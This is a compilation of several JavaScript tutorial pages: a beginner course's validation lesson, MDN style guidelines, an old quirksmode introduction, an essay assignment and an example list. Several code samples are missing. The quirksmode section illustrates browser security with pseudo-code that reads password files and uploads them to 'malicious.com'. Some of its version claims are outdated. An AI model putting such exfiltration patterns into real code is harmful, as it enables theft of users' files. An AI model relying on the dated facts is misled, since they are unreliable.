It's possible that you might see some errors at this point. Just go back and make sure you type it exactly as it is. Play around and try different inputs. Did you notice any issues?

😎  Pro tip: It's important to make mistakes. You should get used to seeing error messages and knowing what they mean. It might feel a bit cryptic in the beginning, but practice is the key. So whether you get it right straight away or after a bit of trying, there’s always something to be learned.

5. JavaScript validations

If you played around a bit in the previous section, you’ll have noticed something weird. Although the input fields say email and message, you can pretty much enter anything into it and it would still accept and print it.

In fact, it even allows you to enter empty an empty email address and message. That’s not good. We’ll need to set some restrictions for what gets entered, especially the email field. For our purposes, checking to see if the text entered in the email field has an ‘@’ character will do. In the real world, you’ll want to do more stringent checks on the data.

For validating email, we need to write a validation function. Validation, as mentioned in the previous section, are checks. They could be checks to make sure the data is in the format we expect, or to filter any unwanted words from the text, or anything else. They serve as an easy way to let the users know about any errors in their data submissions.

In our email address validation example, our check for ‘@’ might catch the instance where our users forget to type ‘@’ or mistype their email addresses.

This function checks if the supplied text parameter email contains the ‘@’ character. It’s using something called a conditional (the ‘if’ and ‘else’ that you see). You can read it as, if yes, it returns true. Otherwise, it returns false. Let’s test it in our clickListener function by logging it to the console.

Okay, it works! It isn’t perfect, but it does demonstrate how expressive JavaScript is. Now we can bring everything together inside our clickListener function and display the appropriate message.

Try it in CodePen and view the results in your browser's Developer Tools console.

Here, we’re first checking the email. If it fails, we log the error message and return false (which is one way of preventing further execution of a function, meaning that our last console.log will not be executed).

If the ‘if’ block are not executed (which means return false wasn’t encountered and the function is still running), we assume all went well and display a success message. Pretty sweet, huh?

Did you get it right? Great job! If not, just look carefully. You’ll find the bug. Remember, debugging is a critical developer skill!

Congratulations! You've reached the end of your web development short course. The last few days have been very exciting, and we hope you enjoyed this little journey as much as we did.

We started with setting up your developer environment and writing our first few lines of code in it. Then we added HTML and data to it, followed by some CSS. Then there was more CSS to make the page pretty. Finally, we topped it off with some JavaScript magic and made the page come to life.

We’re proud of you for sticking till the end, and we hope this is just the start of your wonderful journey in web development.

🧐Daily Challenge

So we’re finally at our last daily challenge. Are you excited about the vast world of web development that lies beyond this short course? We sure are!

Here are the tasks for today’s challenge:

1. Similar to our emailValidate function, write a new function validateNSFW (Not Safe For Work) that will take in the messageText and return true if the message is safe for work. The function should return false if the text contains the word ‘crap’. You may use .includes() function for the task.

Use the previously written function and plug it into the clickListener function similar to how we did it for emailValidate and messageValidate , showing an error when validateNSFW fails.

👋Departing words - Goodbye for now!

Today was the home stretch of this course, and we’re immensely happy that you made it through. It certainly wasn’t easy, and we hope you learned and enjoyed the experience.

There’s no Day Six to this course, so this is a farewell for now. But we like to think of this as the start of something interesting, a new beginning for you. If you decide to take up web development as a career, years later you’ll look back to this moment when you successfully created your very first website and made it both beautiful and functional.

So what now?

  • Keep learning and exploring 📚 If you’ve enjoyed this introduction to web development, we encourage you to continue exploring the field. Check out the CareerFoundry blog for regular industry insights and career-change tips.
  • Learn more about the CareerFoundry Full-Stack Web Development Program 🧑‍🎓 Explore the curriculum and what it’s like to study and launch a new career with CareerFoundry.
  • Schedule a no-strings call with an expert program advisor ☎️ They can answer any questions you might have about the Full-Stack Web Development Program, about CareerFoundry, and about career change in general—and help you figure out if it’s the right option for you.
  • You’ll also get the chance to take our Final Quiz after this tutorial. Get 70% or more and you’ll be awarded a discount on our Full-Stack Web Development Program. Good luck!


  • if..else (control flow)

Q. JavaScript feels very different from what we have been doing until now. Why is that?

A. HTML, CSS and JavaScript all have their unique purpose in the web development world. JavaScript is a programming language, meaning that you can write very detailed instructions (and algorithms) in it, something you can’t do with HTML and CSS. Right now, it might feel like you’re teaching a 3 year old to do something, but computers–for the most part–need such detailed instructions!

Q. This tutorial felt more difficult to grasp than the previous ones?

A. You’re not alone, and that’s what everyone feels when they first see JavaScript. But like with everything, you can get better at this with practice. Slowly but surely, it will feel just as natural as English.

Q. Shouldn’t we use ‘function’ to write functions? That’s how it was written in some examples I read online.

A. You could, but this is just as good. As you’ll dig more into JavaScript, you’ll learn that there are multiple ways of doing many things, like writing functions. It boils down to the use case and your preferences, but for simplicity, we stick to using the arrow ( let name => { } ) syntax.

Q. We used a click listener in the course. What if I want to detect a double click? Should I wait for two clicks?

A. No, there’s an event called dblclick . You can have an event listener listening for this event (using the element.addEventListener(eventName, listenerFunction) syntax). There are a lot of other useful events you can listen to–hover, scroll, keyboard key press etc.

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Guidelines for writing JavaScript code examples

The following guidelines cover writing JavaScript example code for MDN Web Docs. This article is a list of rules for writing concise examples that will be understandable by as many people as possible.

General guidelines for JavaScript code examples

This section explains the general guidelines to keep in mind while writing JavaScript code examples. The later sections will cover more specific details.

Choosing a format

Opinions on correct indentation, whitespace, and line lengths have always been controversial. Discussions on these topics are a distraction from creating and maintaining content.

On MDN Web Docs, we use Prettier as a code formatter to keep the code style consistent (and to avoid off-topic discussions). You can consult our configuration file to learn about the current rules, and read the Prettier documentation .

Prettier formats all the code and keeps the style consistent. Nevertheless, there are a few additional rules that you need to follow.

Using modern JavaScript features

You can use new features once every major browser — Chrome, Edge, Firefox, and Safari — supports them.

Array creation

For creating arrays, use literals and not constructors.

Create arrays like this:

Don't do this while creating arrays:

Item addition

When adding items to an array, use push() and not direct assignment. Consider the following array:

Add items to the array like this:

Don't add items to the array like this:

Asynchronous methods

Writing asynchronous code improves performance and should be used when possible. In particular, you can use:

  • async / await

When both techniques are possible, we prefer using the simpler async / await syntax. Unfortunately, you can't use await at the top level unless you are in an ECMAScript module. CommonJS modules used by Node.js are not ES modules. If your example is intended to be used everywhere, avoid top-level await .

Comments are critical to writing good code examples. They clarify the intent of the code and help developers understand it. Pay special attention to them.

  • If the purpose or logic of the code isn't obvious, add a comment with your intention, as shown below: js let total = 0 ; // Calculate the sum of the four first elements of arr for ( let i = 0 ; i < 4 ; i ++ ) { total += arr [ i ] ; } On the other hand, restating the code in prose is not a good use of comments: js let total = 0 ; // For loop from 1 to 4 for ( let i = 0 ; i < 4 ; i ++ ) { // Add value to the total total += arr [ i ] ; }
  • Comments are also not necessary when functions have explicit names that describe what they're doing. Write: js closeConnection ( ) ; Don't write: js closeConnection ( ) ; // Closing the connection

Use single-line comments

Single-line comments are marked with // , as opposed to block comments enclosed between /* … */ .

In general, use single-line comments to comment code. Writers must mark each line of the comment with // , so that it's easier to notice commented-out code visually. In addition, this convention allows to comment out sections of code using /* … */ while debugging.

  • Leave a space between the slashes and the comment. Start with a capital letter, like a sentence, but don't end the comment with a period. js // This is a well-written single-line comment
  • If a comment doesn't start immediately after a new indentation level, add an empty line and then add the comment. It will create a code block, making it obvious what the comment refers to. Also, put your comments on separate lines preceding the code they are referring to. This is shown in the following example: js function checkout ( goodsPrice , shipmentPrice , taxes ) { // Calculate the total price const total = goodsPrice + shipmentPrice + taxes ; // Create and append a new paragraph to the document const para = document . createElement ( "p" ) ; para . textContent = ` Total price is ${ total } ` ; document . body . appendChild ( para ) ; }

Output of logs

  • In code intended to run in a production environment, you rarely need to comment when you log some data. In code examples, we often use console.log() , console.error() , or similar functions to output important values. To help the reader understand what will happen without running the code, you can put a comment after the function with the log that will be produced. Write: js function exampleFunc ( fruitBasket ) { console . log ( fruitBasket ) ; // ['banana', 'mango', 'orange'] } Don't write: js function exampleFunc ( fruitBasket ) { // Logs: ['banana', 'mango', 'orange'] console . log ( fruitBasket ) ; }
  • In case the line becomes too long, put the comment after the function, like this: js function exampleFunc ( fruitBasket ) { console . log ( fruitBasket ) ; // ['banana', 'mango', 'orange', 'apple', 'pear', 'durian', 'lemon'] }

Multi-line comments

Short comments are usually better, so try to keep them in one line of 60–80 characters. If this is not possible, use // at the beginning of each line:

Don't use /* … */ :

Use comments to mark ellipsis

Skipping redundant code using ellipses (…) is necessary to keep examples short. Still, writers should do it thoughtfully as developers frequently copy & paste examples into their code, and all of our code samples should be valid JavaScript.

In JavaScript, you should put the ellipses ( … ) in a comment. When possible, indicate what action somebody reusing this snippet is expected to add.

Using a comment for the ellipses (…) is more explicit, preventing errors when a developer copies and pastes a sample code. Write:

Don't use ellipses (…) like this:

Comment out parameters

When writing code, you usually omit parameters you don't need. But in some code examples, you want to demonstrate that you didn't use some possible parameters.

To do so, use /* … */ in the parameter list. This is an exception to the rule to only use single-line comments ( // ).

Function names

For function names, use camel case , starting with a lowercase character. Use concise, human-readable, and semantic names where appropriate.

The following is a correct example of a function name:

Don't use function names like these:

Function declarations

  • Where possible, use the function declaration over function expressions to define functions. Here is the recommended way to declare a function: js function sum ( a , b ) { return a + b ; } This is not a good way to define a function: js let sum = function ( a , b ) { return a + b ; } ;
  • When using anonymous functions as a callback (a function passed to another method invocation), if you do not need to access this , use an arrow function to make the code shorter and cleaner. Here is the recommended way: js const array1 = [ 1 , 2 , 3 , 4 ] ; const sum = array1 . reduce ( ( a , b ) => a + b ) ; Instead of this: js const array1 = [ 1 , 2 , 3 , 4 ] ; const sum = array1 . reduce ( function ( a , b ) { return a + b ; } ) ;
  • Consider avoiding using arrow function to assign a function to an identifier. In particular, don't use arrow functions for methods. Use function declarations with the keyword function : js function x ( ) { // … } Don't do: js const x = ( ) => { // … } ;
  • When using arrow functions, use implicit return (also known as expression body ) when possible: js arr . map ( ( e ) => e . id ) ; And not: js arr . map ( ( e ) => { return e . id ; } ) ;

Loops and conditional statements

Loop initialization.

When loops are required, choose the appropriate one from for(;;) , for...of , while , etc.

  • When iterating through all collection elements, avoid using the classical for (;;) loop; prefer for...of or forEach() . Note that if you are using a collection that is not an Array , you have to check that for...of is actually supported (it requires the variable to be iterable), or that the forEach() method is actually present. Use for...of : js const dogs = [ "Rex" , "Lassie" ] ; for ( const dog of dogs ) { console . log ( dog ) ; } Or forEach() : js const dogs = [ "Rex" , "Lassie" ] ; dogs . forEach ( ( dog ) => { console . log ( dog ) ; } ) ; Do not use for (;;) — not only do you have to add an extra index, i , but you also have to track the length of the array. This can be error-prone for beginners. js const dogs = [ "Rex" , "Lassie" ] ; for ( let i = 0 ; i < dogs . length ; i ++ ) { console . log ( dogs [ i ] ) ; }
  • Make sure that you define the initializer properly by using the const keyword for for...of or let for the other loops. Don't omit it. These are correct examples: js const cats = [ "Athena" , "Luna" ] ; for ( const cat of cats ) { console . log ( cat ) ; } for ( let i = 0 ; i < 4 ; i ++ ) { result += arr [ i ] ; } The example below does not follow the recommended guidelines for the initialization (it implicitly creates a global variable and will fail in strict mode): js const cats = [ "Athena" , "Luna" ] ; for ( i of cats ) { console . log ( i ) ; }
  • When you need to access both the value and the index, you can use .forEach() instead of for (;;) . Write: js const gerbils = [ "Zoé" , "Chloé" ] ; gerbils . forEach ( ( gerbil , i ) => { console . log ( ` Gerbil # ${ i } : ${ gerbil } ` ) ; } ) ; Do not write: js const gerbils = [ "Zoé" , "Chloé" ] ; for ( let i = 0 ; i < gerbils . length ; i ++ ) { console . log ( ` Gerbil # ${ i } : ${ gerbils [ i ] } ` ) ; }

Warning: Never use for...in with arrays and strings.

Note: Consider not using a for loop at all. If you are using an Array (or a String for some operations), consider using more semantic iteration methods instead, like map() , every() , findIndex() , find() , includes() , and many more.

Control statements

There is one notable case to keep in mind for the if...else control statements. If the if statement ends with a return , do not add an else statement.

Continue right after the if statement. Write:

Do not write:

Use braces with control flow statements and loops

While control flow statements like if , for , and while don't require the use of braces when the content is made of one single statement, you should always use braces. Write:

Don't write:

This prevent forgetting to add the braces when adding more statements.

Switch statements

Switch statements can be a little tricky.

  • Don't add a break statement after a return statement in a specific case. Instead, write return statements like this: js switch ( species ) { case "chicken" : return farm . shed ; case "horse" : return corral . entry ; default : return "" ; } If you add a break statement, it will be unreachable. Do not write: js switch ( species ) { case "chicken" : return farm . shed ; break ; case "horse" : return corral . entry ; break ; default : return "" ; }
  • Use default as the last case, and don't end it with a break statement. If you need to do it differently, add a comment explaining why.
  • Remember that when you declare a local variable for a case, you need to use braces to define a scope: js switch ( fruits ) { case "Orange" : { const slice = fruit . slice ( ) ; eat ( slice ) ; break ; } case "Apple" : { const core = fruit . extractCore ( ) ; recycle ( core ) ; break ; } }

Error handling

  • If certain states of your program throw uncaught errors, they will halt execution and potentially reduce the usefulness of the example. You should, therefore, catch errors using a try...catch block, as shown below: js try { console . log ( getResult ( ) ) ; } catch ( e ) { console . error ( e ) ; }
  • When you don't need the parameter of the catch statement, omit it: js try { console . log ( getResult ( ) ) ; } catch { console . error ( "An error happened!" ) ; }

Note: Keep in mind that only recoverable errors should be caught and handled. All non-recoverable errors should be let through and bubble up the call stack.

Object names

  • When defining a class, use PascalCase (starting with a capital letter) for the class name and camelCase (starting with a lowercase letter) for the object property and method names.
  • When defining an object instance, either a literal or via a constructor, use camelCase , starting with lower-case character, for the instance name. For example: js const hanSolo = new Person ( "Han Solo" , 25 , "he/him" ) ; const luke = { name : "Luke Skywalker" , age : 25 , pronouns : "he/him" , } ;

Object creation

For creating general objects (i.e., when classes are not involved), use literals and not constructors.

For example, do this:

Don't create a general object like this:

Object classes

  • Use ES class syntax for objects, not old-style constructors. For example, this is the recommended way: js class Person { constructor ( name , age , pronouns ) { this . name = name ; this . age = age ; this . pronouns = pronouns ; } greeting ( ) { console . log ( ` Hi! I'm ${ this . name } ` ) ; } }
  • Use extends for inheritance: js class Teacher extends Person { // … }

To define methods, use the method definition syntax:

Instead of:

Object properties

  • The Object.prototype.hasOwnProperty() method has been deprecated in favor of Object.hasOwn() .
  • When possible, use the shorthand avoiding the duplication of the property identifier. Write: js function createObject ( name , age ) { return { name , age } ; } Don't write: js function createObject ( name , age ) { return { name : name , age : age } ; }

This section lists our recommendations of which operators to use and when.

Conditional operators

When you want to store to a variable a literal value depending on a condition, use a conditional (ternary) operator instead of an if...else statement. This rule also applies when returning a value. Write:

The conditional operator is helpful when creating strings to log information. In such cases, using a regular if...else statement leads to long blocks of code for a side operation like logging, obfuscating the central point of the example.

Strict equality operator

Prefer the strict equality (triple equals) and inequality operators over the loose equality (double equals) and inequality operators.

Use the strict equality and inequality operators like this:

Don't use the loose equality and inequality operators, as shown below:

If you need to use == or != , remember that == null is the only acceptable case. As TypeScript will fail on all other cases, we don't want to have them in our example code. Consider adding a comment to explain why you need it.

Shortcuts for boolean tests

Prefer shortcuts for boolean tests. For example, use if (x) and if (!x) , not if (x === true) and if (x === false) , unless different kinds of truthy or falsy values are handled differently.

String literals can be enclosed within single quotes, as in 'A string' , or within double quotes, as in "A string" . Don't worry about which one to use; Prettier keeps it consistent.

Template literals

For inserting values into strings, use template literals .

  • Here is an example of the recommended way to use template literals. Their use prevents a lot of spacing errors. js const name = "Shilpa" ; console . log ( ` Hi! I'm ${ name } ! ` ) ; Don't concatenate strings like this: js const name = "Shilpa" ; console . log ( "Hi! I'm" + name + "!" ) ; // Hi! I'mShilpa!
  • Don't overuse template literals. If there are no substitutions, use a normal string literal instead.

Variable names

Good variable names are essential to understanding code.

  • Use short identifiers, and avoid non-common abbreviations. Good variable names are usually between 3 to 10-character long, but as a hint only. For example, accelerometer is more descriptive than abbreviating to acclmtr for the sake of character length.
  • Try to use real-world relevant examples where each variable has clear semantics. Only fall back to placeholder names like foo and bar when the example is simple and contrived.
  • Do not use the Hungarian notation naming convention. Do not prefix the variable name with its type. For example, write bought = car.buyer !== null rather than bBought = oCar.sBuyer != null or name = "John Doe" instead of sName = "John Doe" .
  • For collections, avoid adding the type such as list, array, queue in the name. Use the content name in the plural form. For example, for an array of cars, use cars and not carArray or carList . There may be exceptions, like when you want to show the abstract form of a feature without the context of a particular application.
  • For primitive values, use camelCase , starting with a lowercase character. Do not use _ . Use concise, human-readable, and semantic names where appropriate. For example, use currencyName rather than currency_name .
  • Avoid using articles and possessives. For example, use car instead of myCar or aCar . There may be exceptions, like when describing a feature in general without a practical context.
  • Use variable names as shown here: js const playerScore = 0 ; const speed = distance / time ; Don't name variables like this: js const thisIsaveryLONGVariableThatRecordsPlayerscore345654 = 0 ; const s = d / t ;

Note: The only place where it's allowed not to use human-readable, semantic names is where a very commonly recognized convention exists, such as using i and j for loop iterators.

Variable declarations

When declaring variables and constants, use the let and const keywords, not var . The following examples show what's recommended and what's not on MDN Web Docs:

  • If a variable will not be reassigned, prefer const , like so: js const name = "Shilpa" ; console . log ( name ) ;
  • If you'll change the value of a variable, use let as shown below: js let age = 40 ; age ++ ; console . log ( "Happy birthday!" ) ;
  • The example below uses let where it should be const . The code will work, but we want to avoid this usage in MDN Web Docs code examples. js let name = "Shilpa" ; console . log ( name ) ;
  • The example below uses const for a variable that gets reassigned. The reassignment will throw an error. js const age = 40 ; age ++ ; console . log ( "Happy birthday!" ) ;
  • The example below uses var , polluting the global scope: js var age = 40 ; var name = "Shilpa" ;
  • Declare one variable per line, like so: js let var1 ; let var2 ; let var3 = "Apapou" ; let var4 = var3 ; Do not declare multiple variables in one line, separating them with commas or using chain declaration. Avoid declaring variables like this: js let var1 , var2 ; let var3 = var4 = "Apapou" ; // var4 is implicitly created as a global variable; fails in strict mode

Type coercion

Avoid implicit type coercions. In particular, avoid +val to force a value to a number and "" + val to force it to a string. Use Number() and String() , without new , instead. Write:

Web APIs to avoid

In addition to these JavaScript language features, we recommend a few guidelines related to Web APIs to keep in mind.

Avoid browser prefixes

If all major browsers (Chrome, Edge, Firefox, and Safari) support a feature, don't prefix the feature. Write:

Avoid the added complexity of prefixes. Don't write:

The same rule applies to CSS prefixes.

Avoid deprecated APIs

When a method, a property, or a whole interface is deprecated, do not use it (outside its documentation). Instead, use the modern API.

Here is a non-exhaustive list of Web APIs to avoid and what to replace them with:

  • Use fetch() instead of XHR ( XMLHttpRequest ).
  • Use AudioWorklet instead of ScriptProcessorNode , in the Web Audio API.

Use safe and reliable APIs

  • Do not use Element.innerHTML to insert purely textual content into an element; use Node.textContent instead. The property innerHTML leads to security problems if a developer doesn't control the parameter. The more we as writers avoid using it, the fewer security flaws are created when a developer copies and pastes our code. The example below demonstrates the use of textContent . js const text = "Hello to all you good people" ; const para = document . createElement ( "p" ) ; para . textContent = text ; Don't use innerHTML to insert pure text into DOM nodes. js const text = "Hello to all you good people" ; const para = document . createElement ( "p" ) ; para . innerHTML = text ;
  • The alert() function is unreliable. It doesn't work in live examples on MDN Web Docs that are inside an <iframe> . Moreover, it is modal to the whole window, which is annoying. In static code examples, use console.log() or console.error() . In live examples , avoid console.log() and console.error() because they are not displayed. Use a dedicated UI element.

Use the appropriate log method

  • When logging a message, use console.log() .
  • When logging an error, use console.error() .

JavaScript language reference - browse through our JavaScript reference pages to check out some good, concise, meaningful JavaScript snippets.

General introduction

See chapter 1 of the book .

JavaScript is supported by Mozilla (from Netscape 2), Explorer (from version 3), Opera (from version 3), Safari, iCab, and Konqueror. I regularly test my scripts in these browsers. See also the "Browser compatibility" section on the Resources page .

In addition, the following browsers support JavaScript, but I don't test my scripts in them:

  • QNX Voyager
  • Amiga Voyager
  • Sega Dreamcast
  • Ant Fresco (Risc)
  • as well as several mobile phone browsers

This list is not complete.

This page has been translated into French and Turkish .

JavaScript is most commonly used as a client side scripting language. This means that JavaScript code is written into an HTML page. When a user requests an HTML page with JavaScript in it, the script is sent to the browser and it's up to the browser to do something with it.

The fact that the script is in the HTML page means that your scripts can be seen and copied by whoever views your page. Nonetheless, to my mind this openness is a great advantage, because the flip side is that you can view, study and use any JavaScript you encounter on the WWW.

JavaScript can be used in other contexts than a Web browser. Netscape created server-side JavaScript as a CGI-language that can do roughly the same as Perl or ASP. There is no reason why JavaScript couldn’t be used to write real, complex programs. However, this site exclusively deals with the use of JavaScript in web browsers.

If you don’t have any programming experience at all it’s best to start with some gentle JavaScript examples that teach you the basics. It might be a good idea to buy Negrino & Smith, “ JavaScript for the World Wide Web ”, 4th edition, Peachpit Press, 2001. It contains some very useful examples and though it doesn’t treat advanced programming tricks, it will certainly help you get started. Of course this site also offers plenty of help.

I can also recommend Jeremy Keith, DOM Scripting: Web Design with JavaScript and the Document Object Model , 1st edition, Friends of Ed, 2005. This, too, is a book that doesn't delve too deeply into technology, but gives non-programmers such as graphic designers/CSS wizards an excellent overview of the most common uses of JavaScript - as well as the most common problems.

JavaScript vs. Java

JavaScript is not the same as Java. I repeat: JavaScript is not the same as Java.

Although the names are much alike, JavaScript is primarily a scripting language for use within HTML pages, while Java is a real programming language that does quite different things from JavaScript. In addition Java is much harder to learn. It was developed by Sun for use in pretty much anything that needs some computing power.

JavaScript was developed by Brendan Eich, then working at Netscape , as a client side scripting language (even though there's no fundamental reason why it can't be used in a server side environment).

Originally the language was called Live Script, but when it was about to be released Java had become immensely popular (and slightly hypey). At the last possible moment Netscape changed the name of its scripting language to “JavaScript”. This was done purely for marketing reasons. Worse, Eich was ordered to "make it look like Java". This has given rise to the idea that JavaScript is a "dumbed-down" version of Java. Unfortunately there's not the slightest shred of truth in this story.

Java and JavaScript both descend from C and C++, but the languages (or rather, their ancestors) have gone in quite different directions. You can see them as distantly related cousins. Both are object oriented (though this is less important in JavaScript than in many other languages) and they share some syntax, but the differences are more important than the similarities.

If you are a C++ or Java programmer you will be surprised by some of JavaScript’s features. Since I don’t have any previous programming experience, the differences are not described on this site. The best you can do is buy David Flanagan, “ JavaScript, the Definitive Guide ”, 5th edition, O’Reilly, 2006. In this book the differences between C++/Java and JavaScript are clearly explained. I co–edited a few chapters of this book.

The JavaScript language

JavaScript is not a programming language in strict sense. Instead, it is a scripting language because it uses the browser to do the dirty work. If you command an image to be replaced by another one, JavaScript tells the browser to go do it. Because the browser actually does the work, you only need to pull some strings by writing some relatively easy lines of code. That’s what makes JavaScript an easy language to start with.

But don’t be fooled by some beginner’s luck: JavaScript can be pretty difficult, too. First of all, despite its simple appearance it is a full fledged programming language: it is possible to write quite complex programs in JavaScript. This is rarely necessary when dealing with web pages, but it is possible. This means that there are some complex programming structures that you’ll only understand after protracted studies.

Secondly, and more importantly, there are the browser differences. Though modern web browsers all support JavaScript, there is no sacred law that says they should support exactly the same JavaScript. A large part of this site is devoted to exploring and explaining these browser differences and finding ways to cope with them.

So basic JavaScript is easy to learn, but when you start writing advanced scripts browser differences (and occasionally syntactic problems) will creep up.

Client–side JavaScript has expressly been developed for use in a web browser in conjunction with HTML pages. This has certain consequences for security.

First of all, please note carefully what happens when a user visits a JavaScript–enhanced web site: The user asks for a certain HTML page without knowing whether it contains JavaScript. The HTML page is delivered to the browser, including the scripts. The scripts usually run automatically when the page loads or when the user takes a certain action. In general the user can’t do anything to stop the scripts (well, he could turn off JavaScript, but few end users know how to do this, or that it can be done, or that JavaScript exists).

So basically an innocent end user downloads a random program and allows it to be executed on his machine. Therefore there should be strict rules as to what this program can and cannot do.

  • JavaScript cannot read files from or write them to the file system on the computer. This would be a clear security hazard filesystem.read('/my/password/file'); filesystem.write('horridvirus.exe');
  • JavaScript cannot execute any other programs. This would also be unacceptable execute('horridvirus.exe')
  • JavaScript cannot establish any connection to whatever computer, except to download a new HTML page or to send mail. This, too, would create unacceptable hazards: var security_hazard = connection.open('malicious.com'); security_hazard.upload(filesystem.read('/my/password/file')); security_hazard.upload(filesystem.read('/ultra_secret/loans.xls'));

Thus JavaScript simply cannot do such dangerous things. Unfortunately Microsoft has seen fit to add some filesystem commands nonetheless, in combination with its ActiveX technology. This means that Explorer on Windows is structurally less safe than any other browser. It has some built–in protection, but hackers regularly find weaknesses. The first JavaScript virus I heard of works in such a way.

So JavaScript only works on things that are in HTML pages or part of the browser. You cannot influence anything that's not contained by the browser. But even within the browser there are some no–go areas. Basically JavaScript wants to protect the privacy of the user by disallowing some actions and asking permission for others:

  • You cannot read out the history of the browser. Thus a malicious site owner cannot write a script that finds out where you surfed to recently. You can go back or forward in the browsing history, but you cannot find out which page you’ll go to.
  • You cannot do anything in pages that come from another server. So if your frameset contains two pages from two servers, they cannot communicate with each other. Thus a malicious site owner cannot find out which sites you’ve opened in other browser windows. See the frame busting page for some more information.
  • You cannot set the value of a file upload field ( <input type="file"> ). document.forms[0].upload_field.value = '/my/password/file'; document.forms[0].submit();
  • If you try to close a browser window that has not been opened by JavaScript, the user is asked to confirm this action. However, this rule isn't implemented in all browsers and is easy to work around in Explorer.
  • If you try to submit a form to a mail address by JavaScript, the user is asked to confirm this action.
  • You should not be able to open a new window smaller than 100x100 pixels and/or to position it outside the screen area of the computer. Thus a malicious site owner cannot spawn an invisible window. Note that Explorer on Windows (and maybe other browsers, too) does allow this, contrary to safety regulations.

Thus JavaScript is a scripting language for influencing HTML elements, like forms, images, layers, paragraphs and such, and for influencing a few non–HTML objects like the browser window. Nothing more, but (most importantly) nothing less.

Browser incompatibilities

When a user receives a page which includes JavaScript, the JavaScript interpreter of his browser kicks in and tries to execute the script. Now the main problem here is that the various browsers each use their own interpreter, and that sometimes browser vendors have chosen not to implement a bit of JavaScript. Their reasons were usually related to business advantage over the competitors.

Hence the feared browser incompatibilities .

In addition each new browser version understands more JavaScript and allows more and more parts of the HTML page to be changed by scripts. This leads to even more incompatibilities.

It’s best to solve compatibility problems on a case–by–case basis. In fact, most pages on this site have been written precisely because of browser incompatibilities. So read on to understand more. But I warn you: you need to digest quite a lot of information. Therefore it’s best to solve the problem at hand and leave the rest of the information alone until you need it.

JavaScript versions

There have been several formal versions of JavaScript.

  • 1.0: Netscape 2
  • 1.1: Netscape 3 and Explorer 3 (the latter has bad JavaScript support, regardless of its version)
  • 1.2: Early Version 4 browsers
  • 1.3: Later Version 4 browsers and Version 5 browsers
  • 1.4: Not used in browsers, only on Netscape servers
  • 1.5: Current version.
  • 2.0: Currently under development by Brendan Eich and others.

Originally, these version numbers were supposed to give support information. This-and-that method would only be supported by browsers understanding JavaScript 1.something . The higher the version number, the more nifty features the browser would support.

Unfortunately Netscape 3 does not recognize the language attribute in a JavaScript include tag. So if you do:

Netscape 3 loads the script, even though it doesn't support JavaScript 1.3, and shows a lot of error messages. Too bad.

JavaScript Fundamentals

Let’s learn the fundamentals of script building.

  • Hello, world!
  • Code structure
  • The modern mode, "use strict"
  • Interaction: alert, prompt, confirm
  • Type Conversions
  • Basic operators, maths
  • Comparisons
  • Conditional branching: if, '?'
  • Logical operators
  • Nullish coalescing operator '??'
  • Loops: while and for
  • The "switch" statement
  • Function expressions
  • Arrow functions, the basics
  • JavaScript specials

Sibling chapters

  • © 2007—2024  Ilya Kantor
  • about the project
  • terms of usage
  • privacy policy
  • Experiences

E10: Reflect on Javascript 1

So. What do you think about Javascript so far? If you’re a complete newbie, how does it compare to other programming languages that you know? If you have prior experience, did you learn new things from this module, perhaps with respect to ES6? Do you think Javascript is a good or bad programming language from a software engineering perspective?

What about athletic software engineering? Did you find the practice WODs to be useful? What do you think about this style of learning? Is it stressful? Is it enjoyable? Do you think it will work for you?

Discuss your own personal experiences and do not talk in generalities.

Checklist for Technical Essay Style Guide

[ ] Name the essay file according to its subject.

[ ] Create an interesting title that draws in the reader.

[ ] Use appropriate spelling and grammar.

[ ] Write for the world, not the professor.

[ ] Format code appropriately.

[ ] Use internal headings to structure your essay.

[ ] Format and attribute quotations.

[ ] Include pictures or other media.

[ ] Don’t be boring, don’t be inappropriate.

[ ] Review your post’s content and appearance.

[ ] One paragraph is not enough.

[ ] Explain use of AI such as ChatGPT in research and writing the essay.

Submission Instructions

By the time and date indicated on the Schedule page, write a technical essay regarding this module. You can use the issues above as a starting point, but write a stand-alone essay: don’t just answer them like it’s a homework assignment! Once you’ve finished the essay submit it using Laulima.

Please note the following:

Your submission should be a URL providing a direct link to your (HTML formatted) essay contained within your professional portfolio website (not a link to the home page of your portfolio website, not a link to the essays directory page of your website, not a link to the markdown source or a google doc or a PDF etc). Here’s an example of an acceptable URL: https://philipmjohnson.org/essays/kahala-challenge.html . Here’s an example of an unacceptable URL: https://github.com/philipmjohnson/philipmjohnson.github.io/blob/main/essays/kahala-challenge.md . If the link does not work, you will not get credit for your essay.

An entry for your essay must also appear in the Essays page of your portfolio. Check this before submission. If it is not listed, it’s probably because your YAML front matter is incorrect. See the Essay Content section of the TechFolio documentation for details.

Be sure that your essay is ready for evaluation before submitting it via Laulima. I often click on the link as soon as I receive the submission. If the essay is empty or only partially complete when I click on the link, you might not receive credit.

Your essay must be original content, written during this semester reflecting your current views and writing style. You cannot submit essays that you wrote previously for this assignment. The purpose of this assignment is for you to practice writing right now, this semester.

If you use ChatGPT or other AI to support your writing, you must attribute the way you used it. Note that using AI to write your assignment, rather than assist with grammar and so forth, is unlikely to result in a good essay that reflects your “voice”.

Popular Tutorials

Popular examples, reference materials, learn python interactively, javascript examples.

The best way to learn JavaScript is by practicing examples. The page contains examples on basic concepts of JavaScript. You are advised to take the references from these examples and try them on your own.

JS Examples

  • Print Hello World
  • Generate a Random Number
  • Check Prime Number
  • Factorial of a Number
  • JavaScript Program To Print Hello World
  • JavaScript Program to Add Two Numbers
  • JavaScript Program to Find the Square Root
  • JavaScript Program to Calculate the Area of a Triangle
  • JavaScript Program to Swap Two Variables
  • JavaScript Program to Solve Quadratic Equation
  • JavaScript Program to Convert Kilometers to Miles
  • Javascript Program to Convert Celsius to Fahrenheit
  • Javascript Program to Generate a Random Number
  • Javascript Program to Check if a number is Positive, Negative, or Zero
  • Javascript Program to Check if a Number is Odd or Even
  • JavaScript Program to Find the Largest Among Three Numbers
  • JavaScript Program to Check Prime Number
  • JavaScript Program to Print All Prime Numbers in an Interval
  • JavaScript Program to Find the Factorial of a Number
  • JavaScript Program to Display the Multiplication Table
  • JavaScript Program to Print the Fibonacci Sequence
  • JavaScript Program to Check Armstrong Number
  • JavaScript Program to Find Armstrong Number in an Interval
  • JavaScript Program to Make a Simple Calculator
  • JavaScript Program to Find the Sum of Natural Numbers
  • JavaScript Program to Check if the Numbers Have Same Last Digit
  • JavaScript Program to Find HCF or GCD
  • JavaScript Program to Find LCM
  • JavaScript Program to Find the Factors of a Number
  • JavaScript Program to Find Sum of Natural Numbers Using Recursion
  • JavaScript Program to Guess a Random Number
  • JavaScript Program to Shuffle Deck of Cards
